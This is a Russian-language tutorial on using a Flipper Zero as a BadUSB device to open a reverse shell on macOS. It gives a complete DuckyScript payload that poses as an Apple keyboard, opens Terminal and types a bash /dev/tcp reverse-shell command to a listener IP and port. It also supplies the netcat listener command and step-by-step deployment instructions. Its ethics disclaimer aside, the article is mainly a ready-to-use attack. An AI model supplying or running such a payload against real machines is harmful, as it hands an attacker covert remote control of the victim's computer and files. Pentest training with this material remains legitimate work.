Flipper Zero в роли BadUSB: запуск Reverse Shell на macOS

Flipper Zero в роли BadUSB: запуск Reverse Shell на macOS

В этой статье рассмотрим использование Flipper Zero в качестве устройства пентеста для проверки уязвимостей в целевой системе.

image

Инструменты для работы

Используя Flipper Zero, короткий 12-строчный текстовый файл DuckyScript и удаленный прослушиватель (Listener) на сервере Ubuntu, можно запустить Reverse Shell на компьютере с macOS Ventura.

Запуск Reverse Shell на macOS может быть использован для различных целей, включая тестирование безопасности, удаленное управление системой и обучение кибербезопасности. В контексте пентеста, обратная оболочка может помочь идентифицировать уязвимости или слабые места в системе защиты. Однако, стоит отметить, что использование таких методов на чужих или корпоративных системах без явного разрешения может нарушать закон и этические нормы. Поэтому важно убедиться, что все действия проводятся в рамках закона и этических стандартов.

Flipper Zero — это многофункциональное портативное устройство, созданное для взаимодействия с цифровой техникой. Оно оснащено набором инструментов для анализа и модуляции различных видов беспроводных сигналов и интерфейсов.

Ключевые функции Flipper Zero включают в себя возможность работать с RFID, радиочастотными сигналами, инфракрасной связью и другими видами беспроводной связи. Это делает его полезным для исследования и тестирования безопасности, а также для хобби в сфере электроники и беспроводных технологий. Flipper Zero также имеет открытый исходный код, что позволяет пользователям настраивать и расширять его функционал согласно своим нуждам.

Полезная нагрузка BadUSB

Flipper Zero BadUSB, как и другие устройства BadUSB, использует полезную нагрузку, написанную на DuckyScript – простом языке сценариев для выполнения нажатий клавиш на целевом компьютере.

Отправной точкой для полезных нагрузок Duckyscript является официальный сайт Hak5. Здесь вы найдете примеры и документацию по использованию DuckScript.

Написание скрипта DuckyScript

Вы можете использовать готовый сценарий, а можете научиться писать его самостоятельно. Мы покажем, как использовать обратную оболочку (Reverse Shell) на компьютере MacOS.

Откройте любой текстовый редактор и введите следующий текст. В macOS по умолчанию установлено приложение TextEdit, поэтому мы будем использовать его.

ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000

Для нашего эксперимента необязательно хорошо знать DuckyScript, поэтому мы рассмотрим только 6 команд, которые использует наш скрипт.


Измените IP-адрес 10.10.10.157 и порт 4444 на IP-адрес и порт вашего сервера. Сохраните этот файл на свой диск как rev_shell_macos.txt. В каталоге badusb Flipper Zero нет организации подкаталогов, поэтому, если вы используете несколько полезных нагрузок для разных операционных систем, используйте соглашение об именах.

Установка приложения qflipper

Если вы еще не установили приложение qflipper, перейдите на официальную страницу обновления Flipper Zero и выберите установщик для вашей операционной системы.

Установка Duckyscript на Flipper Zero

Откройте приложение qflipper и выберите значок папки, выделенный красным на скриншоте.

Выберите и дважды щелкните значок SD-карты, чтобы просмотреть содержимое.

Найдите и перетащите файл rev_shell_macos.txt, который мы создали ранее, в папку badusb.

Отключите Flipper Zero от компьютера после завершения копирования файла.

Ожидание Reverse Shelll

BadUSB из Flipper Zero готов к использованию. Но сначала нам нужно настроить удаленный прослушиватель на нашем сервере. На сервере Ubuntu запустите прослушиватель Netcat listener с помощью следующей команды:

$ nc -nlvp 4444

Разбивка команды приведена в следующей таблице. Опять же, вам не обязательно знать, что происходит при использовании команды, кроме того, что она ожидает входящего соединения.


Теперь, когда Netcat listener готов и ожидает входящего соединения, мы можем приступить к атаке BadUSB.

Запуск Reverse Shell

Самое сложное уже сделано. Файл BadUSB reverse_shell_macos.txt записывается, перемещается во Flipper Zero, и прослушиватель Netcat ожидает соединения.

Перейдите в меню «Bad USB».

Перейдите к файлу DuckyScript, который мы скопировали ранее. Если вы не видите этот файл, значит, вы скопировали его не в тот каталог или не использовали расширение имени файла .txt. Выберите rev_shell_macos и нажмите кнопку «Run».

Когда вы увидите предупреждение Connect to USB, вы можете подключить Flipper Zero к USB-порту iMac или MacBook. Нажмите кнопку «Run».

Вы можете наблюдать за ходом выполнения сценария BadUSB в главном окне. Как только статус достигнет 100%, полезная нагрузка будет завершена, и вы сможете отключить Flipper Zero.

Если вы наблюдаете за монитором компьютера iMac, вы можете увидеть эксплойт, выполняющий DuckyScript. Прослушиватель Netcat на сервере Ubuntu отображает результаты успешного запроса.

Управление компьютером

Теперь у вас есть контроль над компьютером MacOS через обратную оболочку. Работая в Linux, вы можете использовать инструменты командной строки Unix и оболочку BASH так, как если бы у вас была физическая клавиатура iMac.

Вы можете использовать обычные команды Linux, такие как whoami, pwd, ls или cd для навигации по файловой системе и управления операционной системой.

Следующие шаги

Теперь, когда вы понимаете, как Flipper Zero работает как устройство BadUSB, вы можете создавать свои собственные сценарии. Используйте сайт Hak5 или один из множества репозиториев DuckyScript на GitHub в качестве отправной точки для ваших собственных файлов Duckyscript. Действуйте этично и в рамках закона. Используйте BadUSB на устройствах, которыми вы владеете или имеете разрешение для подобного использования.

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену